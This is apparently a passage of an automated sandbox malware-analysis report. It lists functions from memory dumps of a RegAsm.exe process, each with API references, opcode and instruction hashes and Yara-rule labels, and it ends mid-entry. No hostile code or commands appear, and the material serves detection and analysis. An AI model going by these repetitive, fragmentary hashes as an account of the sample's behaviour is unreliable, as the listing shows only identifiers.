Opcode Fuzzy Hash: 676b8da56be080f0100e9237c834e29b1ea51ac14a871f7d9ba83ceaaf2204c9
Instruction Fuzzy Hash: 9D52B774E016298FCB64DF64DC84AADBBF1FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 2092352E, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 563libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 45525b0318e929970709d48989fa853a929fe8f20a87ba113f9a0ac6b8c47730
Instruction ID: 926d5d5f092fb44e1d21639e1e3b604b5ca0a2d57d6c33de3f72307b6b876db1
Opcode Fuzzy Hash: 45525b0318e929970709d48989fa853a929fe8f20a87ba113f9a0ac6b8c47730
Instruction Fuzzy Hash: 8F52B674E016298FCB64DF64DC84AADBBF1FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923582, Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 553libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: ad12f62f67986e59a91bd6a34de3dc2262c3c7ae205759696e8198c016ca4c87
Instruction ID: c6588fd85663cb72186d49473ce0582ff7060ccfc12bed7e57a715ee5dfdb440
Opcode Fuzzy Hash: ad12f62f67986e59a91bd6a34de3dc2262c3c7ae205759696e8198c016ca4c87
Instruction Fuzzy Hash: 8952B574E016298FCB64DF64DC84AADBBF1FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 209235D6, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 543libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: d5ffec2b970b4e7043d0b5b5e4b9155f67ae79419256a30b9a7bec2254a33463
Instruction ID: bd2a67241f513860cf3538811d4efe7fedd55c8009456ea0db9d51f82e5d8073
Opcode Fuzzy Hash: d5ffec2b970b4e7043d0b5b5e4b9155f67ae79419256a30b9a7bec2254a33463
Instruction Fuzzy Hash: 8852B674E016298FCB64DF64DC84AA9BBF1FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 2092362A, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 533libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 29c093dfecbab0f044762d680a5eec42a7c5d2e32e49f2179d07cc7e230e1ce4
Instruction ID: 31a320050a93dfc564c4d94d4825b08337b601083c15a8c85d09636722b0dc2e
Opcode Fuzzy Hash: 29c093dfecbab0f044762d680a5eec42a7c5d2e32e49f2179d07cc7e230e1ce4
Instruction Fuzzy Hash: 3D42C674E016298FCB64DF64DC84AADBBF1FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 2092367E, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 523libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: f249d654b4e9ff0b724776b14191f54d622feaa5d078809d31c677a18877c04a
Instruction ID: bebad1e3df1267b7d1750b9d636dda353d626e9df6c1d6b6806d3b80f096677b
Opcode Fuzzy Hash: f249d654b4e9ff0b724776b14191f54d622feaa5d078809d31c677a18877c04a
Instruction Fuzzy Hash: 6242C674E016298FCB64DF64DC84AA9BBF1FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 209236D2, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 513libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 7df80110b026a6bd081038cb1ba6733f42c31f36de043fe49fa1d9e711f8b63a
Instruction ID: 5d118b2ecf0b5dae0b4e222cc9faa50afae741332b0d1f102d1da7688a4d3409
Opcode Fuzzy Hash: 7df80110b026a6bd081038cb1ba6733f42c31f36de043fe49fa1d9e711f8b63a
Instruction Fuzzy Hash: 8642C774E016298FCB64DF64DC84A99BBF1FF88201F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923726, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 503libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 1c9bacad852a8c7a9cea15626492e05e3b3d5d6f7358b06433be0e642f343187
Instruction ID: 4fef32fe411444c4a50ec1c95286f2aa43b6e0c85806edfe8ad69545bb43fc05
Opcode Fuzzy Hash: 1c9bacad852a8c7a9cea15626492e05e3b3d5d6f7358b06433be0e642f343187
Instruction Fuzzy Hash: 3542D774E016298FCB64DF64DC84A99BBF2FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 2092377A, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 493libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 6ddf6244cd0e815d6ba55bfb656fe9f24e3d1e9f439dcc0968d2940033889cb2
Instruction ID: 43a8fc90eb024cb927bddfdfa6c6dab53d1559c2eb3ab7971deedd8faa2b0148
Opcode Fuzzy Hash: 6ddf6244cd0e815d6ba55bfb656fe9f24e3d1e9f439dcc0968d2940033889cb2
Instruction Fuzzy Hash: E032D674E01629CFCB64DF64DC84A99BBF2FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 209237CE, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 481libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: cd9b841f4184204bf02db6d33f0577bf4789e54b42236a5c6a2bc792759cffff
Instruction ID: d49452b0fb648eb087c0342db5d94df75e866a7396687579175773f91a0e9ef2
Opcode Fuzzy Hash: cd9b841f4184204bf02db6d33f0577bf4789e54b42236a5c6a2bc792759cffff
Instruction Fuzzy Hash: 8C32D674E01629CFCB64DF64DC84A99BBF2FF88201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923819, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 473libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: a588f09f4ad4d6756a1853648e5bcfa3d6d790babbc068548a851608c4f7f86a
Instruction ID: 0c50103eb73e79a80a6b503cfd1aa06826acf94f0ac4ddb26df39165dd4ed344
Opcode Fuzzy Hash: a588f09f4ad4d6756a1853648e5bcfa3d6d790babbc068548a851608c4f7f86a
Instruction Fuzzy Hash: 1132D774E01628CFCB64DF64DC84A99BBF2FF89201F5081EAE949A3355DA359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 2092386D, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 463libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 6f49c2b5549a10755026f599ee9c9e08f70e02ec4454c9c3ea00ab93ec2887ea
Instruction ID: b96f3f62f4482c3de6296b229602f0ec18c85ec6dc9aec49b5b1238a013e79bd
Opcode Fuzzy Hash: 6f49c2b5549a10755026f599ee9c9e08f70e02ec4454c9c3ea00ab93ec2887ea
Instruction Fuzzy Hash: 1F32E774E016288FCB64DF64DC84A99BBB2BF89201F5081EAE909A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 209238C1, Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 453libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 0746d1a8e2b5a8cfa009678c7ddd30e1c2fdf08b736020d6908699c69b01bc10
Instruction ID: e90939393845d26e6cc4dc70f0086a91579c99ef30cc3ab3039cbcc7d3e09507
Opcode Fuzzy Hash: 0746d1a8e2b5a8cfa009678c7ddd30e1c2fdf08b736020d6908699c69b01bc10
Instruction Fuzzy Hash: 3522D774E01628CFCB64DF64DC84A99BBB2FF89201F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1D219AD1, Relevance: 3.9, Strings: 3, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\OWq, xrefs: 1D219D02
\OWq, xrefs: 1D219C96
\OWq, xrefs: 1D219C5E

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: \OWq$\OWq$\OWq
API String ID: 0-691202199
Opcode ID: f58f3ef01c512667f44042d0c4c52d9244eb3c71a2b5b039f298d1cad8c059e5
Instruction ID: b597ea204d440bd20c7eac471f3f4464533bbd7064d56c5d579ac2b95d64cc75
Opcode Fuzzy Hash: f58f3ef01c512667f44042d0c4c52d9244eb3c71a2b5b039f298d1cad8c059e5
Instruction Fuzzy Hash: C871F370B053889FDB15CB798C54B9ABBF2AF89700F1185EAE519DB291DB309D41CB21

Uniqueness

Uniqueness Score: -1.00%

Function 20923915, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 441libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 3180de4330f2cfa04611385d2fc1614c589185879d724dd1b68cbaacd4fc3d3a
Instruction ID: 215cacbe3cff728de3d613844c6133f30f55048af9b55ed77432e94d8e111f1f
Opcode Fuzzy Hash: 3180de4330f2cfa04611385d2fc1614c589185879d724dd1b68cbaacd4fc3d3a
Instruction Fuzzy Hash: 3322D874E01628CFCB64DF64DC84A99BBB2BF89301F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923960, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 431libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 9029bd1529acee6e336d88f907e046774ad81a29cc280e60e57ccbe87b4bda48
Instruction ID: 02835a1748530c54f180596ab9e53bf44e6ee7cb3bc60693f8e3aa0a78279519
Opcode Fuzzy Hash: 9029bd1529acee6e336d88f907e046774ad81a29cc280e60e57ccbe87b4bda48
Instruction Fuzzy Hash: 6722D974E01628CFCB64DF64DC84A99BBB2BF89301F5081EAE909A3355DB359E81CF15

Uniqueness

Uniqueness Score: -1.00%

Function 209239AB, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 423libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 53038eda13c2941c17e3e1d1615befa8289b5513f9f8a176b46c68e44a91d0d9
Instruction ID: d3bdb7731c275394b34e34a394171fe0d147515716c77dd664537229355fa674
Opcode Fuzzy Hash: 53038eda13c2941c17e3e1d1615befa8289b5513f9f8a176b46c68e44a91d0d9
Instruction Fuzzy Hash: 3722DA74E016288FCB64DF64DC84B99BBB2BF89301F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923A02, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 413libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 7364dec3681622cc4d7fb5b86a7767eedbab0677f65b396ae7893d1fee14fb54
Instruction ID: 25202ed09cbb61a54a9a686c443e14cbbef70dce8cc42ea40582ada6c17bdd8b
Opcode Fuzzy Hash: 7364dec3681622cc4d7fb5b86a7767eedbab0677f65b396ae7893d1fee14fb54
Instruction Fuzzy Hash: B412DA74E016288FCB64DF64DC84B99BBB2BF89301F5081EAE949A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923A59, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 403libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: b26bd38c6bafa9af64404fe265135732e01cb60e3c3bfeeb63ca24e733b82fa7
Instruction ID: 882fa3e1709f2b162ef32fcc2a27ed3787c2785b4d15f16111fe1edf32f2adda
Opcode Fuzzy Hash: b26bd38c6bafa9af64404fe265135732e01cb60e3c3bfeeb63ca24e733b82fa7
Instruction Fuzzy Hash: C212DA74E016288FCB64DF64DC84B99BBB2BF89301F5081EAD909A7355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1D21D700, Relevance: 3.9, Strings: 3, Instructions: 145COMMON

Download Yara Rule

Strings

0XWq, xrefs: 1D21D8B5
\OWq, xrefs: 1D21DEAB
Vq, xrefs: 1D21E08B

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: Vq$0XWq$\OWq
API String ID: 0-96303256
Opcode ID: 4ddd47626eb5033d4c5aba110f16206240ec1b7967ee66e3ad30a04ac96365f2
Instruction ID: 104e4be7502eacf14e1bbb235899e00a3bdc5e2f38f6430e4b1b92062290ff67
Opcode Fuzzy Hash: 4ddd47626eb5033d4c5aba110f16206240ec1b7967ee66e3ad30a04ac96365f2
Instruction Fuzzy Hash: C6411530E482C7CFCB16AA7C489066EBBF6AB47210F36C89BC179DF251D62598458363

Uniqueness

Uniqueness Score: -1.00%

Function 20923AB0, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 393libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: cd882a5a6d1f5d732bae59d90025677fde443fba935dc706d15928f5ea94aef1
Instruction ID: 602aa46bcc5b0db1b8a9545d5bd925997c3f373e08880957a3ebeab54e0d9770
Opcode Fuzzy Hash: cd882a5a6d1f5d732bae59d90025677fde443fba935dc706d15928f5ea94aef1
Instruction Fuzzy Hash: 2A12C974E016288FCB64DF64DC88B99BBB2BF89301F5081DAE909A7355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923B13, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 380libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 262e73be883a9ce067c013d712491c2e933c41069738111d74b256e0714dd291
Instruction ID: 41d0a83f4fda3344afc23aae293f8e5ceb9d580fa659b5af6b5088878d9240fe
Opcode Fuzzy Hash: 262e73be883a9ce067c013d712491c2e933c41069738111d74b256e0714dd291
Instruction Fuzzy Hash: E712C974E016288FCB64DF64DC88B99BBB2BF89301F5081DAE909A7355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923B6A, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 370libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: 08a1cf73b13335fb67da26bce3a4c2472002a7facc8e40e50f948acfc862f4c5
Instruction ID: 8c7b65ad3b8c5f70e821ed56b8d58e32a6c07b2a34b33bc307f5b8f491230981
Opcode Fuzzy Hash: 08a1cf73b13335fb67da26bce3a4c2472002a7facc8e40e50f948acfc862f4c5
Instruction Fuzzy Hash: A702C974E016288FCB64DF64DC88B99BBB2BF89301F5081DAE909A7355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923BC1, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 360libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: d776a1696c06909c3adc07bd9f1ddf4e3b73728deb3d7d13aa96d0c3ff027592
Instruction ID: b73a13c71ff4bf4f89a7cbb0b42be06c2c5aafb8a00723e340796cfb3aeeb25d
Opcode Fuzzy Hash: d776a1696c06909c3adc07bd9f1ddf4e3b73728deb3d7d13aa96d0c3ff027592
Instruction Fuzzy Hash: 5802E874E016288FCB64DF64DC88B99BBB2BF89301F5081D9D909A3355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923C18, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 350libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: d1a7f462d7e6c1f2297f6ced62d202af9cc0f3fb37cdf42bf4d4445df2c162ea
Instruction ID: 06550f72fd1994ea24cecc6452a0e030626f5059baa062c986311c195b4453d4
Opcode Fuzzy Hash: d1a7f462d7e6c1f2297f6ced62d202af9cc0f3fb37cdf42bf4d4445df2c162ea
Instruction Fuzzy Hash: 1D02C874E016288FCB64DF64DC88B99BBB2BF89301F5081EAD909A7355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923C6F, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 340libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: b02464bd392b1549bd92b38cd800eb52d6f2869d0ee4bc36f36c71d964c906a1
Instruction ID: 9ef9462518921a25ed54083faeffac6417a13dc8c206e1311d4efeaad722e38f
Opcode Fuzzy Hash: b02464bd392b1549bd92b38cd800eb52d6f2869d0ee4bc36f36c71d964c906a1
Instruction Fuzzy Hash: B3F1D774E016288FCB64DF64DC88B99BBB2BF89301F5081EAD909A7355DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 20923CC6, Relevance: 3.8, APIs: 1, Strings: 1, Instructions: 328libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20923E19

Strings

:@0q, xrefs: 20923ED1

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: :@0q
API String ID: 2994545307-906771776
Opcode ID: bd55ca1e8b5db9a440bc6e53e996c224146bbff09df8c21ae9737b58788d047c
Instruction ID: ee1b2fbe29b69b19f655f98d4844b320cfdf0daaaca2402628063cb82211ab66
Opcode Fuzzy Hash: bd55ca1e8b5db9a440bc6e53e996c224146bbff09df8c21ae9737b58788d047c
Instruction Fuzzy Hash: 81F1E774E01628CFCB64DF64DC88B99BBB2BF89301F5081E9D909A7255DB359E81CF11

Uniqueness

Uniqueness Score: -1.00%

Function 1D21C9D8, Relevance: 2.8, Strings: 2, Instructions: 300COMMON

Download Yara Rule

Strings

0AUq, xrefs: 1D21CCC0
(CUq, xrefs: 1D21CBFD

Memory Dump Source

Source File: 00000004.00000002.32235950109.000000001D210000.00000040.00000001.sdmp, Offset: 1D210000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1d210000_RegAsm.jbxd

Similarity

API ID:
String ID: (CUq$0AUq
API String ID: 0-2623379270
Opcode ID: 27c819415cad6a93b14c32b8e5f30c4a105672e341842f9e457b6f2549264f4b
Instruction ID: 01f9f2ccc05ff7448473732e018e705776ee57600df749370339a676b4cfe79c
Opcode Fuzzy Hash: 27c819415cad6a93b14c32b8e5f30c4a105672e341842f9e457b6f2549264f4b
Instruction Fuzzy Hash: DBA11534F002568FDB159BB8C85476EBAF6FFC4610F24C56AE119EB390DE358C019BA2

Uniqueness

Uniqueness Score: -1.00%

Function 20927380, Relevance: 2.7, APIs: 1, Instructions: 1161libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 20928058

Memory Dump Source

Source File: 00000004.00000002.32244826204.0000000020920000.00000040.00000001.sdmp, Offset: 20920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_20920000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e0a6583f4fefba778d3bf231655a1d74c534772eae79a0c055017aa63f6286ab
Instruction ID: 0ae75fee5e3d245b01450b54ebbdc326471ea450fb710ab73c57e089f81ede36
Opcode Fuzzy Hash: e0a6583f4fefba778d3bf231655a1d74c534772eae79a0c055017aa63f6286ab
Instruction Fuzzy Hash: CCA27B30A01605CFCB14DFA8D888A9DB7F6BF49315F2484A9E40AEB359DB36DD41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 012D2009, Relevance: 1.6, APIs: 1, Instructions: 104networkCOMMON

Download Yara Rule

APIs

WSASocketW.WS2_32 ref: 012D20D2

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: Socket
String ID:
API String ID: 38366605-0
Opcode ID: 18066707a6e96c70ceb75786b2a8820ae34da525c8afe4c601570cffb1e1ec0e
Instruction ID: d452aded79b49a2199fb0e376c86c48e93f4ed94e35ebb6578f07606990617c3
Opcode Fuzzy Hash: 18066707a6e96c70ceb75786b2a8820ae34da525c8afe4c601570cffb1e1ec0e
Instruction Fuzzy Hash: CF41807100D7C0AFD7238B65CC55B56BFB4AF47210F0985DBE9C48F1A3C265A809CB62

Uniqueness

Uniqueness Score: -1.00%

Function 012D2DE3, Relevance: 1.6, APIs: 1, Instructions: 99COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(?,00000EB0), ref: 012D2EB7

Memory Dump Source

Source File: 00000004.00000002.32226788590.00000000012D0000.00000040.00000001.sdmp, Offset: 012D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_12d0000_RegAsm.jbxd

Similarity

API ID: getaddrinfo
String ID:
API String ID: 300660673-0
Opcode ID: 4286f47cefb3036918b21fbacc4645e8198e625c36baaf1fc2abe0091b830bd1
Instruction ID: 57a387773a91967ba267ce633fd64ab2c878f07085550dda592f6094d83f6110
